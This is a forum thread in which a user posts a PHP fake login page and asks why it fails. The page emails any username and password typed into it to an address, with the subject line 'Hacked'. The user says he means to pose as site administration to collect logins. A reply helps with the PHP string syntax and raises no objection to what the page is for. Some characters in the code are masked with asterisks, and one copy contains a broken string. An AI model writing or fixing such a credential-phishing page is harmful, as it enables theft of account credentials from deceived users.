file auditing
+ Reply to Thread
Results 1 to 5 of 5

Thread: whats wrong with the code

  1. #1
    Join Date
    Aug 2006
    Posts
    4

    Unhappy whats wrong with the code

    Code:
    html>
    <head>
    <title>log in</title>
    </head>
    <body>
    <?php
    
    $user = $_POST["username"];
    $password = $_POST["password"];
    
    if ($user != "" && $password != "")
    {
    $message = "Username: $user\nPassword: $password\n";
    
    mail("your@email.com", "Hacked: $user", wordwrap($message, 70));
    }
    ?>
    <h*>log in</h*><br>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    Username: <input type="text" name="username"><br>
    Password: <input type="password" name="password"><br>
    <br>
    <input type="submit">
    <br>
    </form>
    </body>
    </html>

    what is wrong with it

  2. #2
    Join Date
    Aug 2006
    Posts
    4
    Code:
    <html>
    <head>
    <title>log in</title>
    </head>
    <body>
    <?php
    
    $user = $_POST["username"];
    $password = $_POST["password"];
    
    if ($user != "" && $password != "")
    {
    $message = "Username: . $user . "\nPassword: " . $password . "\n";
    
    mail("your@email.com", "Hacked: $user", wordwrap($message, 70));
    }
    ?>
    <h*>log in</h*><br>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    Username: <input type="text" name="username"><br>
    Password: <input type="password" name="password"><br>
    <br>
    <input type="submit">
    <br>
    </form>
    </body>
    </html>
    the html tag was a copy and paste error

    notice anything else guys?

  3. #3
    Join Date
    Aug 2006
    Posts
    4
    this stuff just dosent wana work for me

    i read how to send fake emails so i thought if i could make a login i could pretend to be administration im trying to send it over hotmail

  4. #4
    Join Date
    Sep 2005
    Posts
    2,050
    Quote Originally Posted by DANIEL2488
    Well, the only thing I paid attention to was this:

    [PHP]$message = "Username: $user\nPassword: $password\n";[/PHP]

    Which should really be

    [PHP]$message = "Username: " . $user . "\nPassword: " . $password . "\n";[/PHP]

    Oh, that and the fact that the <HTML> tag is fucked up if that's not just a copy and paste error.
    PHP variables can be placed inside strings and still have the same effect as being concatenated with '.'. For example, this:

    [PHP]<?php
    $var* = "testing";
    $var2 = "testing2";
    print("Variable * is $var*, and variable 2 is $var2.\r\n");
    ?>[/PHP]

    And this:


    [PHP]<?php
    $var* = "testing";
    $var2 = "testing2";
    print("Variable * is " . $var* . ", and variable 2 is " . $var2 . ".\r\n");
    ?>[/PHP]

    Both give the same output. Read this for more information:

    [url]http://php.net/manual/en/language.variables.php[/url]

  5. #5
    Join Date
    Aug 2006
    Posts
    4
    nope no server

    beiding *p : *27.0.0.*, **2.*68.*.5

    listening port 25

    not sure how it all connects

    sorry for being a noob any * got any more help for me
    Last edited by geoleeman; 08-09-2006 at 10:42 AM.

+ Reply to Thread

Similar Threads

  1. sorry if this is in the wrong place but HELP
    By Drama Beatz in forum Internet Privacy
    Replies: 6
    Last Post: 06-30-2008, 10:53 PM
  2. php whats wrong here
    By biggjay in forum Programming
    Replies: 16
    Last Post: 01-15-2008, 07:44 PM
  3. What am I doing wrong with pro rat ?
    By mitch04 in forum Viruses and Trojans
    Replies: 1
    Last Post: 11-06-2006, 04:06 PM
  4. Hello all and what the hellis wrong with my computer?
    By dieno05 in forum Internet Privacy
    Replies: 1
    Last Post: 06-25-2006, 05:52 PM
  5. oops - wrong ***rd
    By Carrot Soup in forum Internet Privacy
    Replies: 0
    Last Post: 12-05-2002, 08:22 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts